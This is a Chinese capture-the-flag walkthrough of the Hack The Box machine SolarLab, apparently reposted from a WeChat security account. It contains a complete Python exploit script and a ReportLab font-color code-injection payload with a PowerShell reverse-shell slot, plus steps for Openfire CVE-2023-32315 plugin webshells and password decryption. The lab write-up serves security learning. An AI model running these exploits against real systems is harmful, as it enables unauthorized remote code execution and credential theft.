前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >htb打靶记录-SolarLab

htb打靶记录-SolarLab

作者头像
红队蓝军
发布2024-07-15 14:02:01
1140
发布2024-07-15 14:02:01
举报
文章被收录于专栏:红队蓝军

今天要挑战的是htb的SolarLab靶场

首先使用nmap进行扫描

访问80端口得到3个用户

然后继续访问发现有框,进行了xss、注入操作无果

然后有一个登录页面,弱口令尝试无果

然后通过smb扫描发现了一个共享文档

现在找到了一个包含一些凭证的敏感文件,使用用户名AlexanderKClaudiaS引发了不同的错误,存在用户名泄露漏洞。尝试密码列的所有可能组合都无法成功。在这三个用户中,有两个存在,但Blake用户不存在。因此,尝试将与这两个用户相同的模式匹配为完整名字和姓氏的首字母BlakeB,得到了身份验证错误并确认了存在。

使用blake.byte,登录成功

继续往下有一个文件上传的接口

尝试上传图像并转换为 PDF 格式的文件

在bp的返回包里面发现到了reportlab关键字

发现存在rce

使用exp进行攻击

代码语言:javascript
复制
#!/usr/bin/python3
import argparse
import requests
from sys import exit
from base64 import b64decode
import urllib.parse

def get_args():
 parser = argparse.ArgumentParser()
 parser.add_argument("--host", required=True, type=str)
 parser.add_argument("--port", "-p", required=True, type=int)
 parser.add_argument("--cmd", "-c", required=True, type=str)
 parser.add_argument("--session", "--cookie", "-sc", required=True, help="Session cookie", type=str)
 args = parser.parse_args()
 return args



def build_post_body(cmd: str) -> bytes:
 print("[*] Building Exploit...")


 # Base64 Encoded Post Template
 base = b64decode("LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0xNDU3ODUzNjcwMTMzNTUyOTgzMDExNzk0MzIxNzYKQ29udGVudC1EaXNwb3NpdGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ0aW1lX2ludGVydmFsIgoKMjAyOS0wNS0yNiB0byAyMDI5LTA1LTI3Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ1Nzg1MzY3MDEzMzU1Mjk4MzAxMTc5NDMyMTc2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ibGVhdmVfcmVxdWVzdCIKCntjbWR9Ci0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tMTQ1Nzg1MzY3MDEzMzU1Mjk4MzAxMTc5NDMyMTc2CkNvbnRlbnQtRGlzcG9zaXRpb246IGZvcm0tZGF0YTsgbmFtZT0ic2lnbmF0dXJlIjsgZmlsZW5hbWU9IlVudGl0bGVkLnBuZyIKQ29udGVudC1UeXBlOiBpbWFnZS9wbmcKColQTkcKGgoAAAAKSUhEUgAAAAoAAAAKCAIAAAACUFjqAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAApSURBVChTY9i+fbuAgAADAwMHB8f8+fMlJCSAbARA5gNVQFkjGzAwAADL7QTzijujCwAAAABJRU5ErkJgggotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE0NTc4NTM2NzAxMzM1NTI5ODMwMTE3OTQzMjE3NgpDb250ZW50LURpc3Bvc2l0aW9uOiBmb3JtLWRhdGE7IG5hbWU9InVzZXJfaW5wdXQiCgo8cD5hc2RmPC9wPgotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTE0NTc4NTM2NzAxMzM1NTI5ODMwMTE3OTQzMjE3Ni0t")
 exploit_base = b64decode("PHA+PGZvbnQgY29sb3I9IlsgWyBnZXRhdHRyKHBvdywgV29yZCgnX19nbG9iYWxzX18nKSlbJ29zJ10uc3lzdGVtKCd7Y21kfScpIGZvciBXb3JkIGluIFsgb3JnVHlwZUZ1biggJ1dvcmQnLCAoc3RyLCksIHsgJ211dGF0ZWQnOiAxLCAnc3RhcnRzd2l0aCc6IGxhbWJkYSBzZWxmLCB4OiBGYWxzZSwgJ19fZXFfXyc6IGxhbWJkYSBzZWxmLCB4OiBzZWxmLm11dGF0ZSgpIGFuZCBzZWxmLm11dGF0ZWQgPCAwIGFuZCBzdHIoc2VsZikgPT0geCwgJ211dGF0ZSc6IGxhbWJkYSBzZWxmOiB7c2V0YXR0cihzZWxmLCAnbXV0YXRlZCcsIHNlbGYubXV0YXRlZCAtIDEpfSwgJ19faGFzaF9fJzogbGFtYmRhIHNlbGY6IGhhc2goc3RyKHNlbGYpKSwgfSwgKSBdIF0gZm9yIG9yZ1R5cGVGdW4gaW4gW3R5cGUodHlwZSgxKSldXSBhbmQgJ3JlZCciPgoxPC9mb250PjwvcD4=")

 exploit_base = exploit_base.replace(b"{cmd}", bytes(cmd.encode()))

 final = base.replace(b"{cmd}", exploit_base)
 print("[*] Exploit built")
 return final


def send_request(post_body: bytes, session_cookie: str, host: str, port: int):
 print("[*] Preparing request")
 cookie = {"session": session_cookie}
 headers = {}
 headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
 headers["Accept-Encoding"] = "gzip, deflate, br"
 headers["Content-Type"] = "multipart/form-data; boundary=---------------------------145785367013355298301179432176"
 headers["Content-Length"] = str(len(post_body))
 headers["Connection"] = "close"

 url = f"http://{host}:{port}/leaveRequest"
 print(f"[*] Sending request to {url}")
 print("[*] Sending a reverse shell should cause request to hang")
 r = requests.post(url=url, headers=headers, data=post_body, cookies=cookie)
 print("[*] Request sent")
 status_code = r.status_code
 if r.text.find("Login to ReportHub") > 0: 
  print(f"[!] Bad Request.  Status Code {r.history}.  Check that your session cookie is still valid.") 
  exit(0)
 
 print(f"[*] Probable success. Status Code {status_code}")


def main():
 args = get_args()
 body = build_post_body(args.cmd)
 send_request(body, args.session, args.host, args.port)
 
if __name__ == "__main__":
 main()

当 PDF 转换发生时,HTML 标签也会被渲染为代码。因此,由于颜色属性中的 Python 块会立即执行,因此可能存在 RCE。

代码语言:javascript
复制
<font color="[ [ getattr(pow, Word('__globals__'))['os'].system('powershell -e <Base64EncodedRevShellHere>') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))]] and 'red'">
1</font>

使用参数中指定的命令嵌入了所需的python块并发出上传请求

使用nc监听获得反弹shell

找到了user.txt

继续进行渗透,通过用户名枚举得到一个openfire用户,通过搜素openfire相关的服务得到cve-2023-32315这个rce

挂代理在本地访问openfire服务

访问http://127.0.0.1:9090,在本地主机上本地访问端口 9090

运行它后会创建一个新用户,然后我们就可以成功登录,此漏洞实际上是两个漏洞的混合体,即第一个身份验证绕过漏洞和第二个 RCE 漏洞。我们现在将尝试上传一个假的 openfire 插件,该插件将尝试让我们在系统上执行命令

现在按照步骤上传插件并访问webshell

完成这些步骤后,选择右上角应允许执行系统命令的系统命令,然后使用 Base64 编码的 Powershell 反向 shell 命令

使用nc监听,获得openfire用户的权限

查看logs日志

在openfire.log中

openfire.script中,无法正确获取文件,尝试直接登录,密码错误

Openfire 基本上会加密明文密码,然后将其存储到数据库中。所以,上面的不是哈希,而是加密的密码字符串,下面的是它的加密密钥

因此,研究如何解密,发现这是一个复杂的过程,但最终找到了解密的工具

https://github.com/c0rdis/openfire_decrypt

获得flag.txt

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-12,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档